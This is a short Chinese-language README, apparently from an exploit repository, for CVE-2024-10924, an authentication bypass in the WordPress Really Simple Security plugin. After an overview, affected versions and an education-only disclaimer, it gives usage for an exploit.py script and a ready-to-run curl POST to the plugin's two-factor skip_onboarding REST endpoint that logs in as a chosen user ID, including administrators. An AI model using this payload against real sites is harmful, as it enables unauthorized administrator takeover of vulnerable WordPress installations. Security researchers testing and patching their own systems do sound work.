CVE-2024-10924 漏洞利用 (WordPress Really Simple Security 插件 - 身份验证绕过)

📌 概述

CVE-2024-10924 是一个关键的身份验证绕过漏洞，存在于 WordPress 的 Really Simple Security 插件中（版本 9.0.0 到 9.1.1.1）。该漏洞允许未经身份验证的攻击者通过利用双因素认证（2FA）API 中的缺陷，以任何用户（包括管理员）身份登录。

CVE 编号: CVE-2024-10924

严重程度: 🔥 严重 (CVSS 9.8)

受影响版本: Really Simple Security 9.0.0 – 9.1.1.1

修复版本: 9.1.2

漏洞利用类型: 身份验证绕过

⚠️ 免责声明

🚨 本漏洞利用仅用于教育和安全研究目的。

未经授权在非您拥有的系统上使用是违法的。其目的是帮助安全专业人员测试和修补易受攻击的系统。

🔧 要求

运行有漏洞版本的 Really Simple Security 插件的 WordPress 站点。 安装 Python 3.x 或 cURL 用于测试。 目标 WordPress 管理员用户名（可能需要用户枚举）。

运行脚本:

python3 exploit.py <url example : http://target.com> <user_id>

手动使用 Curl

curl --request POST "http://{url}/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding" -H "Content-Type: application/json" -d '{"user_id": 1, "login_nonce": "invalid_nonce"}' -v